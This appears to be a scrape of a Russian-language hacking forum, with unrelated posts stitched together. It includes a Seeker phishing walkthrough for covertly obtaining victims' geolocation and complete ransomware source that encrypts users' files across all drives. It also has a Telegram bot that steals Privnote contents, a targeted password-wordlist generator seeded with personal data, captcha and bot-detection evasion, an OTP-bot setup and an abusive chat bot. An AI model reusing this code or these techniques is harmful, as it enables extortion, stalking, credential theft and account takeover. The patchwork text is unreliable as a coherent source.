Click to expand...
?cd toolss
Click to expand...
?chmod +x Toolss.py
Click to expand...
?python Toolss.py
Click to expand...
[/CLIKE]
Все.Вам открылась Hack панель и теперь вы можете установить любую интересующую вас утилиту.Для установки всех сразу введите-00
Все, что нам понадобится для этого дела - утилита + переход жертвы по нашей
заранее подготовленной ссылке.
Seeker – это утилита, которая устанавливает сайт на сервер Apache и, используя Ngrok, создаёт ссылку при переходе по которой будет запрошен доступ к геолокации, в случае если такой доступ предоставлен, нам передаются данные устройства к которому получен доступ и координаты этого устройства, дополнительно сразу же формируется ссылка на Google Maps, с отметкой о местонахождении устройства.
[CLIKE]Ссылка на гитхаб - https://github.com/thewhiteh4t/seeker[/CLIKE]
[CLIKE]Теперь давай посмотрим как это работает. Устанавливаем Seeker:
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod 777 install.sh
./install.sh
И запускаем:
python3 seeker.py
Сразу после запуска Seeker сформирует ссылку и будет ждать когда кто-нибудь перейдёт по этой ссылке[/CLIKE]
![](/proxy.php?image=https%3A%2F%2Fi0.wp.com%2Fhacker-basement.ru%2Fwp-
content%2Fuploads%2F2019%2F06%2F%25D0%25A1%25D0%25BD%25D0%25B8%25D0%25BC%25D0%25BE%25D0%25BA.jpg%3Fw%3D910&hash=66e3587dd1e49f53bc4dab182d8d01ac)
Когда мы перейдём по ссылке, мы увидим сайт с предложением поискать друзей
вокруг.
![](/proxy.php?image=https%3A%2F%2Fi1.wp.com%2Fhacker-basement.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F%25D0%25A1%25D0%25BD%25D0%25B8%25D0%25BC%25D0%25BE%25D0%25BA2.jpg%3Fresize%3D266%252C483&hash=b7482f6583e21b9eba7f623a094c0a51)
При нажатии кнопки “Continue” сайт запросит разрешение на доступ к геолокации и как только такой доступ будет получен, Seeker покажет подробные данные об устройстве и его местоположении.
![](/proxy.php?image=https%3A%2F%2Fi0.wp.com%2Fhacker-basement.ru%2Fwp-
content%2Fuploads%2F2019%2F06%2F%25D0%25A1%25D0%25BD%25D0%25B8%25D0%25BC%25D0%25BE%25D0%25BA1.jpg%3Fresize%3D503%252C571&hash=356651e5357a2dae3593a7b9ff3da573)
Мы увидим: данные операционной системы, версию браузера, страну, регион, город
и название провайдера, а также долготу, широту, точность определения места,
высоту над уровнем моря, а также ссылку на Google Maps, чтобы наглядно увидеть
местоположение определенных координат.
По поводу точности определения: стационарные компьютеры (и ноутбуки) определяет с точностью 10-15 метров, телефоны на Android – 10-20 метров, iphone – 60-70 метров
Как видишь программа работает достаточно эффективно, остаётся только вручить человеку ссылку так что бы он ничего не заподозрил, но тут уже всё будет зависеть от твоей фантазии и навыков социальной инженерии, а всё остальное программа сделает сама.
Приветствую всех. Имеется код (взят с codeby.net).
Python:Copy to clipboard
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import os
disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\\'
def GetDisk():
for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
try:
path = x + ":\\"
os.chdir(path)
retval = os.getcwd()
disks.append(retval)
except WindowsError:
continue
def GetDirectory(path):
for rootdir, dirs, files in os.walk(path):
for file in files:
if((file.decode('cp1251').split('.')[-1]) in ['doc','mov','txt']):
sek = os.path.join(rootdir, file)
tmp.append(sek)
def GenRSA():
code = 'loli'
key = RSA.generate(2048)
encrypted_key = key.exportKey(
passphrase=code,
pkcs=8,
protection="scryptAndAES128-CBC"
)
with open(appdata + 'prk.bin', 'wb') as f:
f.write(encrypted_key)
with open(appdata + 'pbk.pem', 'wb') as f:
f.write(key.publickey().exportKey())
def Crypt(filename):
handle = open(filename,'rb')
data = handle.read()
handle.close()
data = bytes(data)
with open(filename, 'wb') as out_file:
recipient_key = RSA.import_key(
open(appdata + 'pbk.pem').read()
)
session_key = get_random_bytes(16)
cipher_rsa = PKCS1_OAEP.new(recipient_key)
out_file.write(cipher_rsa.encrypt(session_key))
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
out_file.write(cipher_aes.nonce)
out_file.write(tag)
out_file.write(ciphertext)
GenRSA()
GetDisk()
for d in disks:
GetDirectory(d)
for filename in tmp:
try:
Crypt(filename)
added.append(filename)
except IOError:
continue
handle = open(appdata + 'cripted.lock','w')
for j in added:
handle.write(j)
handle.write('\n')
handle.close()
print 'done'
Когда запускаю код, то получаю такой вывод.
Запускается python3 script.py site.com
Есть большой список сайтов, который нужно пропустить через скрипт.
Но дело в том, что скрипт работает с одним сайтом за раз.
Нужно как то его зациклить, что бы обрабатывал сайты по очереди каждый по
списку и в отчете напротив сайта, допустим через запятую писал ответ.
Скрипт запустить смог, работает, но в целом в питоне не шарю, поэтому объясните как лучше? Дописать этот, что бы работал со списком
Предисловие.
Целью данной статьи является не создание простого универсального кода для любой Captch'и, а прежде всего для объяснения и разбора многих алгоритмов и библиотек, которые в дальнейшем будут использованы для декодировании нашего текста.
В чём же проблема декодирования Captcha.
Данные картинки или другие виде тестов, например: математическая, аудио, текстовая или любая капча, построена таким образом, что машина не может её легко распознать, но из за чего же это происходит. Всё просто! На картинку данную нам добавлены различные шумы, зернистость, да и сами изображения небинарные (Цветные проще говоря). Но как мы знаем - прогресс не стоит на месте, всё в мире эволюционирует и это необратимый процесс и вскоре некоторые виды этих тестов всё же сумел распознать машины.
Приступаем!
Наш код будет состоять из двух частей и ещё паре побочных (Необязательных). Первое, что мы сделаем - распознаем какого цвета наш текст, который нам придётся "отделить от изображения", далее сам процесс разделения и определение текста с готовой картинке.
Для начала предлагаю взять три картинки разной сложности, длины слов и прочего и определить текст двумя способами.
Captcha_1
Captcha_2
Captcha_3
**
Что же за два метода определения цвета текста капчи?**
Можно использовать сторонние программы (Например ColorMania, ColorPicker) или использую гистограмму. Гистограмма - способ представления изображения в виде графика с соотношениям частот и их количеством.
![](/proxy.php?image=https%3A%2F%2Fi.ibb.co%2FQb0fcGH%2FColor- Mania-g9a7m-L8594.png&hash=8704b66656bc2b63a05888b0a16f6de4)
А вот и первый код с помощью которого мы будем выводит гистограмму изображения.
Code:Copy to clipboard
#Для начала импортируем библиотеку для работы с изображениями - PIL (Python Image Library)
from PIL import Image
#При помощи функции библиотеки Pillow открываем наше изображения для дальнейшей работы с ним.
picture = Image.open("captcha.png")
picture = picture.convert("P")
#И конечно же выводим гистограмму этого изображения
print(picture.histogram())
И-ии-и вывод:
Code:Copy to clipboard
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 77, 4, 0, 0, 0, 0, 77, 5, 0, 0, 1, 619, 487, 0, 0, 0, 0, 142, 186, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 139, 6, 0, 0, 1, 15, 445, 29, 0, 0, 381, 2605, 4324, 192, 0, 0, 2, 736, 5057, 5930, 27, 0, 0, 0, 3, 567, 738, 0, 0, 0, 0, 0, 0, 0, 56, 1, 358, 1257,0, 0, 56, 13, 482, 177, 5, 79, 2, 67, 233, 245, 17, 112, 0, 58, 870, 4616, 122, 0, 0, 0, 40, 1944, 20, 0, 0, 0, 0, 0, 0, 0, 151, 1, 86, 316, 0, 0, 151,1, 2, 10, 5, 64, 132, 179, 0, 259, 14, 174, 2, 11, 0, 16, 1, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 54, 69, 0, 0, 0, 0, 2, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Но рассказывать как их читать я конечно не буду и не умею, но знать про эту функцию интересно. Зато могу рассказать о том, как работает функция .histogram. Через запятую у нас частота использования определённого пикселя на изображении, напоминаю, в формате png может содержатся только 255 значений каждого спектра (RGB - Red - Красный, Green - Зелёный, Blue - Голубой).
Далее - удаляем ненужные цвета с изображения.
К примеру у нас на изображении текст фиолетового цвета как показано на captcha_1. После небольших манипуляции я обнаружил, что самый тёмный фиолетовый пиксель - 140, 0, 116, а самый светлый - 122, 36, 94. Из этих данных можно составить такой алгоритм: если пиксель более тёмный чем 140, 0, 116, то его значение будет равно 255, 255, 255 (Белый цвет) и если пиксель светлее 122, 36, 94, то его значение будет равно 255, 255, 255.
Вот и сам код:
Code:Copy to clipboard
#Импортируем библиотеку PIL (Python Image Library)
from PIL import Image
#Открываем изображение для дальнейшей работы с ним.
picture = Image.open("captcha.png")
#Придаём RGB значения некоторым цветам.
dark_purple = (140, 0, 116)
light_purple = (122, 36, 94)
white = (255, 255, 255)
#Указываем нашему коду на то, что размер нашего полотна равен соотношению его ширины (width) на его длину (height)
width, height = picture.size
#Начинаем работу с нашим полотном при помощи for
for x in range(width):
for y in range(height):
#если изображение темнее самого тёмного и светлее самого светлого фиолетового, то...
if picture.getpixel( (x,y) ) > dark_purple or picture.getpixel( (x,y) ) < light_purple:
#Они преобразуются из своего изначального в белый (255, 255, 255)
picture.putpixel( (x,y), white)
#И сохраняем наше изображение
picture.save("output_picture.png")
Вот изображение, которое у нас получилось:
![](/proxy.php?image=https%3A%2F%2Fi.ibb.co%2FQK1F7wJ%2FOutput- picture.png&hash=c00614df3bb59e0a4406e8844cb1a783)
Как мы видим - у нас остались полосы на тексте после шумов, которые мы удалили и у нас остались некоторые части зелёного фона. Видимо он находился в диапазоне между 140, 0, 116 и 122, 36, 94. Но по непонятной мне причине этот фон никак не удалялся.
Давайте без лишних слов я проведаю те же самые махинации и с другими двумя изображениями.
Code:Copy to clipboard
from PIL import Image
picture = Image.open("captcha1.png")
black = (0, 0, 0)
gray = (40, 40, 40)
white = (255, 255, 255)
width, height = picture.size
for x in range(width):
for y in range(height):
if picture.getpixel( (x,y) ) < black or picture.getpixel( (x,y) ) > gray:
picture.putpixel( (x,y), white)
picture.save("output_picture1.png")
Вывод:
![](/proxy.php?image=https%3A%2F%2Fi.ibb.co%2FjRtSgDf%2FOutput- picture1.png&hash=0736a8494ab41de4518eec48572cd93e)
Ну а третья наша картинка слишком лёгкая, она была создана для того, чтобы пропустить этот шаг и сразу перейти к следующему
Дальше всё просто. Нам нужно использовать библиотеку pytesseract, которая
декодирует уже облегчённый текст. В нашем случае мы будем использовать функцию
image_to_string.
Но Pytesseract отнюдь не самая простая в использовании библиотека. Для начала
вам требуется установить tesseract-orc и потом установить pytesseract с
помощью pip.
И далее всё довольно просто:
Code:Copy to clipboard
#Импортируем ранее использованную библиотеку PIL (Напомню, Python Image Library)
from PIL import Image
#И таким же образом импортируем функцию image_to_string из pytesseract
from pytesseract import image_to_string
#Задаём переменной image значение, которое открывает наше изображение.
image = Image.open("Output_picture1.jpg")
#И выводим его (Советую для точности на всякий случай указать, что текст на английском языке при помощи графы lang.
print(image_to_string(image, lang='eng'))
Было:
![](/proxy.php?image=https%3A%2F%2Fi.ibb.co%2FjRtSgDf%2FOutput-
picture1.png&hash=0736a8494ab41de4518eec48572cd93e)
Стало:
Code:Copy to clipboard
sb6qn
Так как мы ранее загрузили pytesseract-orc, то во время исполнения нашего кода будет работать целая нейросеть, которую обучали с помощью целой базы из таких картинок. И именно из за этого она работает так хорошо! О нейросетях и о том как они работают советую почитать отдельно, а уже к этому времени мы заканчиваем нашу статью. Если же её укоротить, то можно уместить в два простых шага - удаление лишних пикселей изображения и использование pytesseract, которые можно соединить в один небольшой код.
Послесловие.
Огромное вам спасибо за прочтение данной статьи. Я ещё очень юн в написании авторских статей. Я бы с радостью принял вашу критику. Очень жаль, что я опоздал на конкурс статей, но главное, чтобы кого то вдохновили или даже обучили чему то по моим статьям.
Спасибо!
Гайс, переискал весь гугл, перебробовал все методы, аргументы - бразуер
обнаруживают как headless, соответственно выскакивает постоянно гугловская
каптча
какие аргументы еще добавить, какие скрипты запустить, чтобы браузер перестал
обнаруживаться как подконтрольный ботам? код скидывать не вижу смысла, самый
стандартный код с селениумом
Сегодня мы будем писать граббер привнотов с разных чатов или каналов в телеграме. Для начала пройдемся по зависимостям.
Python:Copy to clipboard
pyPrivnote==0.0.1a1
PySocks==1.6.8
requests==2.7.0
Telethon==1.4.1
Это все зависимости которые нам будут нужны, PySocks нужен в том случае, если
вы не можете напрямую подключится к телеграм.
Итак, начнём с импортов всего необходимого.
Python:Copy to clipboard
import re
import socks
import requests
import pyPrivnote as pn
from telethon import TelegramClient, events, sync
from telethon.tl.types import PeerUser, PeerChat, PeerChannel
После того как импортировали всё что нам было нужно можем начинать с создания
клиента телеграм.
Переходим на https://my.telegram.org/auth , авторизируемся под тем аккаунтом
с которого хотим следить за чатами, далее создаём своё приложение, думаю для
вас это будет несложно сделать.
Отсюда нам нужны api_id и app api_hash. Никому их не сообщайте.
Далее по документации Telethon нам надо создать свой клиент.
Python:Copy to clipboard
api_id = 11111111111
api_hash = 'xxxxxxxxx:xxxxxxxx'
phone = "+88005553535"
chat = "DUROV"
proxy_ip = "192.168.15.1"
port = 9999
client = TelegramClient('coma', api_id, api_hash, proxy=(socks.SOCKS5, str(proxy_ip), port))
client.start()
client.sign_in(phone)
Давайте разберемся что да как. С полями Api_id и Api_hash я думаю вы уже разобрались, туда надо вставить свои данные которые вы получили при регистрации приложения. В Phone мы вставляем номер аккаунта через который будем слушать чаты. В поле Chat нам необходимо указать куда будет отправляться текст с Привнота. Можно вставлять юзернейм без @ и ссылку на какой либо чат такого типа:
Python:Copy to clipboard
chat = "https://t.me/joinchat/xxxxxxxxxxxxxxxxxx"
chat = "DUROV"
Далее, если у вас нет коннекта к телеграму без прокси то вписываем прокси айпи
и порт.
Затем создаём клиент:
Python:Copy to clipboard
client = TelegramClient('coma', api_id, api_hash, proxy=(socks.SOCKS5, str(proxy_ip), port))
client.start()
client.sign_in(phone)
Где надпись 'coma' вы можете вставлять любое имя, это будет названием файла
сессии. Далее у нас идёт подключение по socks5 proxy.
Как должен выглядеть код без прокси:
Python:Copy to clipboard
api_id = 11111111111
api_hash = 'xxxxxxxxx:xxxxxxxx'
phone = "+88005553535"
chat = "DUROV"
client = TelegramClient('coma', api_id, api_hash)
client.start()
client.sign_in(phone)
Далее мы создаём ивент для того что-бы слушать все чаты в телеграме.
Python:Copy to clipboard
@client.on(events.NewMessage)
async def my_event_handler(event):
Затем нам надо сделать условие поиска ссылки привнота.
Python:Copy to clipboard
if re.findall(r'(https://privnote.com/)', event.raw_text, re.I):
То есть, если в event.raw_text будет ссылка вида https://privnote.com/
event это событие. Raw_text это текст сообщения в этом событии. И, если он
найдет ссылку в сообщение то передаст дело дальше. А дальше у нас будет
регулярка для того что-бы вытащить саму ссыль на привнот:
Python:Copy to clipboard
awesome_re = re.search("(?P<url>https?://[^\s]+)", event.raw_text).group("url")
То есть он будет искать ссылку в сообщение где было https://privnote.com/
Затем нам надо прочесть сам привнот.
Python:Copy to clipboard
note_text = pn.read_note(str(awesome_re))
Ну и почти последнее, нам надо отправить текст сообщения из привнота в чат или человеку.
Python:Copy to clipboard
await client.send_message(chat, str(note_text))
Ну и завершаем мы это всё:
Python:Copy to clipboard
client.run_until_disconnected()
Далее будет полный листинг программы.
Code:Copy to clipboard
import re
import socks
import requests
import pyPrivnote as pn
from telethon import TelegramClient, events, sync
from telethon.tl.types import PeerUser, PeerChat, PeerChannel
api_id = 11111111111
api_hash = 'xxxxxxxxx:xxxxxxxx'
phone = "+88005553535"
chat = "DUROV"
proxy_ip = "192.168.15.1"
port = 9999
client = TelegramClient('coma', api_id, api_hash, proxy=(socks.SOCKS5, str(proxy_ip), port))
client.start()
client.sign_in(phone)
@client.on(events.NewMessage)
async def my_event_handler(event):
if re.findall(r'(https://privnote.com/)', event.raw_text, re.I):
awesome_re = re.search("(?P<url>https?://[^\s]+)", event.raw_text).group("url")
note_text = pn.read_note(str(awesome_re))
await client.send_message(chat, str(note_text))
client.run_until_disconnected()
После запуска нас попросит пройти авторизацию, вписываем свой номер через плюс, затем код который пришел в телеграм. Вот и всё, скрипт работает, можем тестировать.
Я не лучший кодер, я только начинаю писать что то интересное, не надо брать с меня пример. Вы, всегда можете сделать лучше, или не повторять моих ошибок.
Click to expand...
Ну вот собственно и слив
](https://drive.google.com/drive/folders/1OJrkGsTILU11UuOlXPeX5oIdPLXZ4LiT?usp=sharing)
drive.google.com
(Спасибо)
Задача:
Иногда случается так, что нужно подобрать пароль на хэш от соцсети какого-
нибудь юзера. Пароль от архива, криптоконтейнера (хотя идея обычно так себе).
Ну или вообще какой-либо пароль. Перво-наперво в таких случаях брутят по базе
самых частых паролей, это очень логично. Такие базы/подборки можно найти в
сети. Если это не принесло успеха, прежде, чем брутить пароли генерируя все
возможные вариации паролей, можно попробовать таргетированую атаку. Мы можем
сгенерировать пароли на основе данных, которые мы знаем о пользователе: ФИО,
даты рождения, другие важные даты этого пользователя, номер телефона, номер
паспорта, емайлы, список из самых частых паролей 12345, qwert, qaz, и т.д
Остается сгенерировать перестановки из нашего списка, а результат сохранить в
текстовый файл.
Стек технологий
I. python 3.9
И все? Да. Мы даже не будем устанавливать никаких библиотек, используем лишь 2
функции из стандартной библиотеки.
Дикслеймер
___Автор не является профессионалом во взломе/бруте/ кодингу на python.
Навернякак можно сделать лучше, и вообще кодить на python западло. ___
Подготовка
Для начала нужно поставить python на вашу ОС. Инструкция на все ОС:
https://realpython.com/installing-python/
Код можно писать в любом текстовом рекдакторе, конечно с поцветкой кода.
Вообще идельным IDE для python считается Pycharm.
Скачать: https://www.jetbrains.com/pycharm/download/
Настройка: https://py-charm.blogspot.com/2017/09/blog-post.html
Статья о том как запустить python код: <https://pythonru.com/osnovy/zapusk-
python-i-python-skript-na-kompjutere>
В целом в интернете куча иснтукций по установки, настройке python и запуску
кода написанного на python. Я написал этот раздел на всякий случай для полноты
статьи.
Поехали!
Имортируем пару функций из стандартной библиотеки.
Об этом модуле и этих функциях есть замечательная статья:
https://habr.com/ru/company/otus/blog/529356/
В кратце: Модуль itertools стандартизирует основной набор быстрых
эффективных по памяти инструментов, которые полезны сами по себе или в связке
с другими инструментами. Вместе они формируют «алгебру итераторов», которая
позволяет лаконично и эффективно создавать специализированные инструменты на
чистом Python.
Функция Chain : как бы склеивает несколько последовательностей в одну.
Функция permutations() Возвращает последовательные r перестановок
элементов в итерируемом объекте. Если параметр r не указан или стоит в
значении None, то по умолчанию r принимает длину итерируемого объекта и
генерирует все возможные полноценные перестановки. Кортежи перестановок
выдаются в лексикографическим порядке в соответствии с порядком итерации
входных данных.
Python:Copy to clipboard
from itertools import chain, permutations
Данные из файла настроек мы считываем в отельные списки для удобного манипулирования. Разделение происходит по пробелу.
Python:Copy to clipboard
# считыаем данные из файла настроек
with open('words.txt') as date:
words = date.readline().strip().lower().split(' ')
phones = date.readline().strip().split(' ')
dates = date.readline().strip().split(' ')
emails = date.readline().strip().split(' ')
often = date.readline().strip().split(' ')
other = date.readline().strip().split(' ')
min_length, max_length = date.readline().strip().split(' ')
Файл настроек заполняется следующим образом:
a) Буквенные слова (ФИО, город, клички и т.д)
b) Номера телефонов
c) Даты (даты рождения родтственников, даты исторических личностей, которым симпатизирует юзер и т.д)
d) емайлы
e) Частые пароли (на усмотрение: 12345, qwert и т.д)
f) Другое (любые слова и небуквенные строки: номер паспорта и др)
e) Длинна пароля, только пароли в этом диапозоне попадут в результат
Все данные разбиваются по строкам.Click to expand...
Пример файла настроек:
micheal washington birmingham al miawashi
2058336800 2058336801 2058336802 2058336803
02/27/1961 02/27/1962 02/27/1963 02/27/1964
miawashi@southernco.com miawash1@southernco.com miawash2@southernco.com
123 1234 12345 123456 qwe qwer qwert qaz qazxsw 12345qwert
422927913 35215
0 10000Click to expand...
В скрипте очень часто будет использоваться генератор списков, если кто-то еще
не освоил эту концепцию вот статья где все разжевано:
https://all-python.ru/osnovy/generator-spiska.html
Можем приступать.
Преобразуем слова, чтобы у нас были копии слов с заглавными буквами.
Python:Copy to clipboard
# создаем список слов с заглавными буквами
words_upper = [word.upper() for word in words]
По аналогии создаем список слов где заглавной будет только первая буква. А далее добавим знак + к каждому номеру телефона.
Python:Copy to clipboard
# создаем список слов с первыми заглавными буквами
words_capitalized = [word.capitalize() for word in words]
# создаем список телефонов с + в начале
phones_with_plus = ['+' + phone for phone in phones]
Теперь уберем слэш из даты, и сгенерируем разные перестановки из даты. Например: год/месяц/день, месяц/год/день и т.д
Python:Copy to clipboard
# генерируем даты без разделителя со всеми возможными перестановками
dates_list = [x.split('/') for x in dates]
dates_list_gener = [list(permutations(x)) for x in dates_list]
dates_without_symbol_gener = [''.join(y) for x in dates_list_gener for y in x]
Далее по аналогии, все делаем с помощью генераторов списка.
Python:Copy to clipboard
# генерируем даты с раздилителем /
dates_symbol_gener = ['/'.join(y) for x in dates_list_gener for y in x]
# создаем список емайлов без домена
emails_without_domen = [email.split('@')[0] for email in emails]
# создаем список емайлов без домена заглавными буквами
emails_without_domen_upper = [email.upper() for email in emails_without_domen]
# создаем список емайлов без домена заглавными первыми буквами
emails_without_domen_capitalized = [email.capitalize() for email in emails_without_domen]
# создаем список заглавных слов из списка "другое"
other_user = [word.upper() for word in other]
# создаем список слов с первыми заглавными буквами
other_capitalizes = [word.capitalize() for word in other]
Закидываем все наши сформированные списки, в множество, чтобы избежать повторений, ибо множество удалит все дубли. Благодаря функции chain мы склеиваем все списки в 1 список и можем легко передать его функции set, которая создаст множество из итератора.
Python:Copy to clipboard
result_set = set(chain(words, phones, dates, often, other, words_upper, words_capitalized, phones_with_plus,
dates_without_symbol_gener, dates_symbol_gener,
emails_without_domen, emails_without_domen_upper,
emails_without_domen_capitalized, other_user, other_capitalizes))
С помощью функции permutations создаем все возможные перестоновки из нашего множества длинной 2 элемента, а затем длинной 3 элемента, склеиваем с помощью chain все в один список и пишем результат в переменную result. Следует отметить, что сохранится все список кортежей.
Python:Copy to clipboard
result = chain(permutations(result_set, 2), permutations(result_set, 3))
Открываем файл в контекстном менеджере для записи результата. В цикле for проходим по списку кортежей при этом с помощью функции join() собираем каждый кортеж встроку. Далее проверяем подходит ли нам такой пароль по длинне, если да то пишем его в файл.
Python:Copy to clipboard
if __name__ == '__main__':
with open('result.txt', 'a') as file:
for x in result:
y = ''.join(x)
if int(min_length) <= len(y) <= int(max_length):
file.write(y + '\n')
Весь код целиком:
Spoiler: CODE
Python:Copy to clipboard
from itertools import chain, permutations
# считыаем данные из файла настроек
with open('words.txt') as date:
words = date.readline().strip().lower().split(' ')
phones = date.readline().strip().split(' ')
dates = date.readline().strip().split(' ')
emails = date.readline().strip().split(' ')
often = date.readline().strip().split(' ')
other = date.readline().strip().split(' ')
min_length, max_length = date.readline().strip().split(' ')
# создаем список слов с заглавными буквами
words_upper = [word.upper() for word in words]
# создаем список слов с первыми заглавными буквами
words_capitalized = [word.capitalize() for word in words]
# создаем список телефонов с + в начале
phones_with_plus = ['+' + phone for phone in phones]
# генерируем даты без разделителя со всеми возможными перестановками
dates_list = [x.split('/') for x in dates]
dates_list_gener = [list(permutations(x)) for x in dates_list]
dates_without_symbol_gener = [''.join(y) for x in dates_list_gener for y in x]
# генерируем даты с раздилителем /
dates_symbol_gener = ['/'.join(y) for x in dates_list_gener for y in x]
# создаем список емайлов без домена
emails_without_domen = [email.split('@')[0] for email in emails]
# создаем список емайлов без домена заглавными буквами
emails_without_domen_upper = [email.upper() for email in emails_without_domen]
# создаем список емайлов без домена заглавными первыми буквами
emails_without_domen_capitalized = [email.capitalize() for email in emails_without_domen]
# создаем список заглавных слов из списка "другое"
other_user = [word.upper() for word in other]
# создаем список слов с первыми заглавными буквами
other_capitalizes = [word.capitalize() for word in other]
result_set = set(chain(words, phones, dates, often, other, words_upper, words_capitalized, phones_with_plus,
dates_without_symbol_gener, dates_symbol_gener,
emails_without_domen, emails_without_domen_upper,
emails_without_domen_capitalized, other_user, other_capitalizes))
result = chain(permutations(result_set, 2), permutations(result_set, 3))
if __name__ == '__main__':
with open('result.txt', 'a') as file:
for x in result:
y = ''.join(x)
if int(min_length) <= len(y) <= int(max_length):
file.write(y + '\n')
Итоги:
Скрипт простой, но я думаю свою задачу он выполняет. Безусловно можно сколь
угодно улучшать скрипт, и настраивать под себя. С настройками из примера
скрипт сгенерирует 21364 пароля. Если в настройках длинны паролей выставить
например 0 минимальный и 10000 максимальный (чтобы точно все пароли любой
длинны пошли в результат), тот скрипт сгенериует 698216 паролей. Что по
скорости? На моем ПК скрипт делает работу за 2 секунды, если будет писать в
файл все пароли, любой длинны.
Всем привет, решил тут недавно порофлить в каналах политических срачей, и написал простенького бота на основе 4GPTfree, отвечает в грубой форме, но Prompt вы всегда сможете изменить на ваше усмотрение. Также если в будущем провайдер который прописан в коде будет не работать, нужно будет изменить переменную:
Code:Copy to clipboard
provider=g4f.Provider.Blackbox
Актуальный список фришных провайдеров которые находятся в активе здесь (но из России очень много не работают, придется использовать VPN или прокси который нужно дописать в код):
![github.com](/proxy.php?image=https%3A%2F%2Frepository- images.githubusercontent.com%2F620936652%2F91a636f9-cfdc-4237-bbba-460ee7bb899a&hash=ee3b9bfe85f1c719ece6f783038f9519&return_error=1)
The official gpt4free repository | various collection of powerful language models - xtekky/gpt4free
github.com
Устанавливаем:
pip install telethon
pip install g4f
Python:Copy to clipboard
import asyncio
from telethon import TelegramClient, events, sync, utils
from telethon.errors import SessionPasswordNeededError
import g4f
import random as rand
# Получаем параметры для подключения к API по адресу:
# api_hash from https://my.telegram.org, under API Development, данные в переменных ниже указаны левые для понимания что нужно вписывать.
api_id = 24555512
api_hash = '1eabd55555d2977fc66894e3a1373e91'
chat = -1001455572595 # Чат айди сами загуглите как искать (или с клиента Telegram на PC заходите в продвинутые настройки-экспериментальные настройки-включаете отображение ID в профиле и прибавляете -100 в начале, если не сработает прописываете айди которое указано в профиле)
client = TelegramClient('komandos_kolya', api_id, api_hash, device_model="AMD B550", system_version="Windows 10")
client.connect()
phone = input("Enter phone: ")
client.send_code_request(phone, force_sms=False)
value = input("Enter login code: ")
try:
me = client.sign_in(phone, code=value)
#Если на акке выставленно 2Ф, будет запрос на авторизацию
except SessionPasswordNeededError:
password = input("Enter password: ")
me = client.sign_in(password=password)
@client.on(events.NewMessage(chats=[chat]))
async def handler(event):
user_text = event.raw_text
print(event.raw_text) # Выводим все что пишут в чат
try:
response = await g4f.ChatCompletion.create_async(
model=g4f.models.default,
messages=[
{"role": "system", "content": "Привет! Общайся как гопник и сильно груби матами"},
{"role": "user", "content": user_text}],
provider=g4f.Provider.Blackbox,
)
chat_gpt_response = response
except Exception as e:
print(f"{g4f.Provider.Blackbox.__name__}:", e)
chat_gpt_response = "Извините, произошла ошибка."
print(chat_gpt_response)
kakashka = rand.randint(1, 500)
if kakashka < 100: # В зависимости от того какое число выпадет в переменную "kakashka" и зависит отправка текстового сообщения в чат
async with client.action(chat, 'typing'):
datarand = chat_gpt_response
await asyncio.sleep(rand.randint(15, 25))
await event.reply(datarand[13:])
client.start()
client.run_until_disconnected()
P.S. Перед каждым новым входом удаляйте файл *.session который создается в корне скрипта.
This is a project I have been developing with AI and figured I would share it.
Featuring 60+ Combo List Features
Anti Detect Browser
Cookie Create + Generator
Cookie Validator
URL Analyzer
Config Developing Feature to help develop undetected configs for Openbullet,
Silverbullet, CookieBullet & BL Tools
Regex Notepad
Combo List Options
**
Cookie Sorting Features / Options ( Still in development )**
Здравствуйте уважаемые форумчане хотел бы создать тему с otp bot ,данный
скрипт нашол на гитхабе!!!
нужно "допилить" скрипт !!!
дпя начало нужно установит питон и все необходимые библиотеки!!!
Unzip ur files
Download ngrok and run ngrok.exe http 5000
ngrok config add-authtoken
Download python
open terminal and install modules
pip install flask
pip install requests
pip install phonenumbers
pip install twilio
pip install pyTelegramBotAPI
Open cred.py and replace with ur data
open connect dbase file for host it
open terminal and Run Python mainn.py
запускаем ngrok
ngrok http 5000
получаем тунель
https://51bf07d32ff0.ngrok.app
копируем строку в cred.py
#FC Bot
API_TOKEN = ""
#Host URL
callurl = 'https://f92bfa70c713.ngrok.app'
twiliosmsurl = 'https://f92bfa70c713.ngrok.app/sms'
должно поучиться так!!!
в тг получает бот токен
BotFather
вставляем в API_TOKEN = "you token"
сохраняем и запусаем бота!!!
должно получиться так как на скринах
вводим команду в отп боте
/start
имейте ввиду аддрес тунеля меняеться с каждой сесией
его всегда нужно редактировать!!!
после выбираеи режим user или admin
в админ режиме можно добавлять участника или админа в группу
в user сам фунционал otp bot
3 режима
1.sms
2.call
3. использовать всой скрипт!!!
данный скипт не допилен так как нет валидного twillo
жду от вас коментариев и дополнений к данному скрипту!!!
Ребята салют!
Задаюсь вопросом. пишу автореггер на сайте присутствует cloudflare капча,
которую обойти не могу (не вылазит окошко с капчей)
Подскажите пожалуйста, кто сталкивался, и как с этим бороться?
Скрины ниже
Со мной поделились сносером телеграм аккаунтов, но я не могу его деобфусцировать (дальше самой первой base64 деобфускации с "пасхалкой"). Буду рад если поможете и заодно сможете сами поиметь сносер.
!!! НЕ ЗАПУСКАТЬ, ВОЗМОЖНО МАЛВАРЬ !!!
Обфусцированный скрипт:
![gofile.io](/proxy.php?image=https%3A%2F%2Fgofile.io%2Fdist%2Fimg%2Flogo- small-og.png&hash=32429581fada6ae1887e27dfa99f76aa&return_error=1)
Secure, fast and free cloud storage solution. Upload and share files instantly.
gofile.io
